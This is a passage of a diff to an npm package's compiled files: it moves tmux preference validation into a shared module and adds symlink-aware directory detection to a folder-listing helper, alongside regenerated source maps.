AyB,CAAC;AAW/D,wBAAgB,YAAY,IAAI,MAAM,CAErC;AAED,wBAAgB,UAAU,IAAI,MAAM,CAEnC;AAED,wBAAgB,eAAe,IAAI,IAAI,CAwBtC;AAED,wBAAgB,UAAU,IAAI,WAAW,CAmBxC;AAID,wBAAgB,YAAY,CAAC,MAAM,EAAE,WAAW,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,WAAW,CAI5E;AAID,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,aAAa,EAAE,UAAU,UAAO,GAAG,WAAW,CAUhG;AAED,wBAAgB,UAAU,CAAC,MAAM,EAAE,WAAW,GAAG,IAAI,CAGpD;AAED,wBAAgB,aAAa,IAAI,MAAM,CAEtC;AAUD,wBAAgB,gBAAgB,CAAC,MAAM,GAAE;IAAE,IAAI,CAAC,EAAE,GAAG,CAAA;CAAO,GAAG,SAAS,CAsBvE"}
1
+ {"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAK5C,MAAM,WAAW,aAAa;IAC5B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;CAChB;AAED,MAAM,WAAW,WAAW;IAE1B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;IACf,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,QAAQ,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,aAAa,CAAC,CAAC;IACzC,SAAS,EAAE,MAAM,EAAE,CAAC;IACpB,SAAS,EAAE;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,EAAE,EAAE,MAAM,CAAA;KAAE,CAAC;IACxC,iBAAiB,EAAE,MAAM,CAAC;IAC1B,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,CAAC,EAAE,OAAO,CAAC;IACjB,8EAA8E;IAC9E,eAAe,CAAC,EAAE,MAAM,EAAE,CAAC;IAC3B,8DAA8D;IAC9D,IAAI,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,GAAG;QAAE,MAAM,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAA;KAAE,CAAC;CACvE;AAED;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAEpD;AAED,iFAAiF;AACjF,wBAAgB,kBAAkB,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAE1D;AAOD,eAAO,MAAM,kBAAkB,6BAA6B,CAAC;AAC7D,eAAO,MAAM,wBAAwB,yBAAyB,CAAC;AAW/D,wBAAgB,YAAY,IAAI,MAAM,CAErC;AAED,wBAAgB,UAAU,IAAI,MAAM,CAEnC;AAED,wBAAgB,eAAe,IAAI,IAAI,CAwBtC;AAED,wBAAgB,UAAU,IAAI,WAAW,CAmBxC;AAID,wBAAgB,YAAY,CAAC,MAAM,EAAE,WAAW,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,WAAW,CAI5E;AAID,wBAAgB,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,aAAa,EAAE,UAAU,UAAO,GAAG,WAAW,CAUhG;AAED,wBAAgB,UAAU,CAAC,MAAM,EAAE,WAAW,GAAG,IAAI,CAGpD;AAED,wBAAgB,aAAa,IAAI,MAAM,CAEtC;AAKD,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC"}
package/dist/config.js CHANGED
@@ -33,7 +33,7 @@ var __importStar = (this && this.__importStar) || (function () {
33
33
  };
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
- exports.DEFAULT_LOCAL_SERVER_URL = exports.DEFAULT_SERVER_URL = void 0;
36
+ exports.resolveTmuxPrefs = exports.DEFAULT_LOCAL_SERVER_URL = exports.DEFAULT_SERVER_URL = void 0;
37
37
  exports.configDirFor = configDirFor;
38
38
  exports.legacyConfigDirFor = legacyConfigDirFor;
39
39
  exports.getConfigDir = getConfigDir;
@@ -44,11 +44,9 @@ exports.applyProfile = applyProfile;
44
44
  exports.saveProfile = saveProfile;
45
45
  exports.saveConfig = saveConfig;
46
46
  exports.getConfigPath = getConfigPath;
47
- exports.resolveTmuxPrefs = resolveTmuxPrefs;
48
47
  const fs = __importStar(require("fs"));
49
48
  const path = __importStar(require("path"));
50
49
  const os = __importStar(require("os"));
51
- const tmux_config_1 = require("./tmux-config");
52
50
  /**
53
51
  * Where the agent keeps config, logs, the pid file and the watchdog.
54
52
  *
@@ -151,32 +149,9 @@ function saveConfig(config) {
151
149
  function getConfigPath() {
152
150
  return CONFIG_FILE;
153
151
  }
154
- // Merge stored tmux prefs over the defaults, validating as we go.
155
- //
156
- // Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
157
- // would replace the whole status object and wipe every key the user did not
158
- // name. And an invalid value must fall back rather than reach tmux: a bad
159
- // `mouse` string would render `set-option -g mouse sideways`, which tmux
160
- // rejects — costing that line silently, since source-file warns and continues
161
- // rather than aborting.
162
- function resolveTmuxPrefs(config = {}) {
163
- const stored = config.tmux || {};
164
- const status = stored.status || {};
165
- const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
166
- return {
167
- mouse: oneOf(stored.mouse, ['native-select', 'tmux'], tmux_config_1.DEFAULT_TMUX_PREFS.mouse),
168
- attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], tmux_config_1.DEFAULT_TMUX_PREFS.attachMode),
169
- historyLimit: Number.isInteger(stored.historyLimit) && stored.historyLimit > 0
170
- ? stored.historyLimit
171
- : tmux_config_1.DEFAULT_TMUX_PREFS.historyLimit,
172
- status: {
173
- enabled: typeof status.enabled === 'boolean' ? status.enabled : tmux_config_1.DEFAULT_TMUX_PREFS.status.enabled,
174
- position: oneOf(status.position, ['top', 'bottom'], tmux_config_1.DEFAULT_TMUX_PREFS.status.position),
175
- bg: typeof status.bg === 'string' ? status.bg : tmux_config_1.DEFAULT_TMUX_PREFS.status.bg,
176
- fg: typeof status.fg === 'string' ? status.fg : tmux_config_1.DEFAULT_TMUX_PREFS.status.fg,
177
- left: typeof status.left === 'string' ? status.left : tmux_config_1.DEFAULT_TMUX_PREFS.status.left,
178
- right: typeof status.right === 'string' ? status.right : tmux_config_1.DEFAULT_TMUX_PREFS.status.right,
179
- },
180
- };
181
- }
152
+ // Validation lives in @dialout/shared so the settings API applies exactly the
153
+ // same rules to a browser-supplied body. Re-exported here because the agent's
154
+ // callers have always reached for it through ./config.
155
+ var shared_1 = require("@dialout/shared");
156
+ Object.defineProperty(exports, "resolveTmuxPrefs", { enumerable: true, get: function () { return shared_1.resolveTmuxPrefs; } });
182
157
  //# sourceMappingURL=config.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"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"}
@@ -1 +1 @@
1
- {"version":3,"file":"fs-browser.d.ts","sourceRoot":"","sources":["../src/fs-browser.ts"],"names":[],"mappings":"AAGA,MAAM,WAAW,QAAQ;IACvB,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,WAAW,GAAG,MAAM,CAAC;CAC5B;AAED,wBAAgB,aAAa,CAAC,OAAO,EAAE,MAAM,GAAG,QAAQ,EAAE,CAwBzD"}
1
+ {"version":3,"file":"fs-browser.d.ts","sourceRoot":"","sources":["../src/fs-browser.ts"],"names":[],"mappings":"AAGA,MAAM,WAAW,QAAQ;IACvB,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,WAAW,GAAG,MAAM,CAAC;CAC5B;AA0BD,wBAAgB,aAAa,CAAC,OAAO,EAAE,MAAM,GAAG,QAAQ,EAAE,CAwBzD"}
@@ -36,6 +36,32 @@ Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.listDirectory = listDirectory;
37
37
  const fs = __importStar(require("fs"));
38
38
  const path = __importStar(require("path"));
39
+ /**
40
+ * Is this entry a directory, following symlinks?
41
+ *
42
+ * readdir's Dirent describes the LINK, not its target: a symlink to a directory
43
+ * answers false to isDirectory() and true to isSymbolicLink(). So a folder
44
+ * reached through a link — `~/www -> /Volumes/SSD/www`, which is how a
45
+ * developer with an external drive normally arranges things — was listed as a
46
+ * file and vanished from the folder picker entirely. Nothing reported an error;
47
+ * the directory simply was not there.
48
+ *
49
+ * A broken link, or one pointing somewhere unreadable, is not a directory and
50
+ * must not throw: it is listed as a file rather than taking the whole listing
51
+ * down with it.
52
+ */
53
+ function isDirectory(entry, parent) {
54
+ if (entry.isDirectory())
55
+ return true;
56
+ if (!entry.isSymbolicLink())
57
+ return false;
58
+ try {
59
+ return fs.statSync(path.join(parent, entry.name)).isDirectory();
60
+ }
61
+ catch {
62
+ return false;
63
+ }
64
+ }
39
65
  function listDirectory(dirPath) {
40
66
  const resolvedPath = path.resolve(dirPath);
41
67
  if (!fs.existsSync(resolvedPath)) {
@@ -50,7 +76,7 @@ function listDirectory(dirPath) {
50
76
  .filter((entry) => !entry.name.startsWith('.'))
51
77
  .map((entry) => ({
52
78
  name: entry.name,
53
- type: entry.isDirectory() ? 'directory' : 'file',
79
+ type: isDirectory(entry, resolvedPath) ? 'directory' : 'file',
54
80
  }))
55
81
  .sort((a, b) => {
56
82
  if (a.type === b.type)
@@ -1 +1 @@
1
- {"version":3,"file":"fs-browser.js","sourceRoot":"","sources":["../src/fs-browser.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAQA,sCAwBC;AAhCD,uCAAyB;AACzB,2CAA6B;AAO7B,SAAgB,aAAa,CAAC,OAAe;IAC3C,MAAM,YAAY,GAAG,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC;IAE3C,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,YAAY,CAAC,EAAE,CAAC;QACjC,OAAO,EAAE,CAAC;IACZ,CAAC;IAED,MAAM,IAAI,GAAG,EAAE,CAAC,QAAQ,CAAC,YAAY,CAAC,CAAC;IACvC,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,EAAE,CAAC;QACxB,OAAO,EAAE,CAAC;IACZ,CAAC;IAED,MAAM,OAAO,GAAG,EAAE,CAAC,WAAW,CAAC,YAAY,EAAE,EAAE,aAAa,EAAE,IAAI,EAAE,CAAC,CAAC;IAEtE,OAAO,OAAO;SACX,MAAM,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;SAC9C,GAAG,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;QACf,IAAI,EAAE,KAAK,CAAC,IAAI;QAChB,IAAI,EAAE,KAAK,CAAC,WAAW,EAAE,CAAC,CAAC,CAAC,WAAoB,CAAC,CAAC,CAAC,MAAe;KACnE,CAAC,CAAC;SACF,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE;QACb,IAAI,CAAC,CAAC,IAAI,KAAK,CAAC,CAAC,IAAI;YAAE,OAAO,CAAC,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC3D,OAAO,CAAC,CAAC,IAAI,KAAK,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACzC,CAAC,CAAC,CAAC;AACP,CAAC"}
1
+ {"version":3,"file":"fs-browser.js","sourceRoot":"","sources":["../src/fs-browser.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAgCA,sCAwBC;AAxDD,uCAAyB;AACzB,2CAA6B;AAO7B;;;;;;;;;;;;;GAaG;AACH,SAAS,WAAW,CAAC,KAAgB,EAAE,MAAc;IACnD,IAAI,KAAK,CAAC,WAAW,EAAE;QAAE,OAAO,IAAI,CAAC;IACrC,IAAI,CAAC,KAAK,CAAC,cAAc,EAAE;QAAE,OAAO,KAAK,CAAC;IAC1C,IAAI,CAAC;QACH,OAAO,EAAE,CAAC,QAAQ,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,EAAE,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC;IAClE,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED,SAAgB,aAAa,CAAC,OAAe;IAC3C,MAAM,YAAY,GAAG,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC;IAE3C,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,YAAY,CAAC,EAAE,CAAC;QACjC,OAAO,EAAE,CAAC;IACZ,CAAC;IAED,MAAM,IAAI,GAAG,EAAE,CAAC,QAAQ,CAAC,YAAY,CAAC,CAAC;IA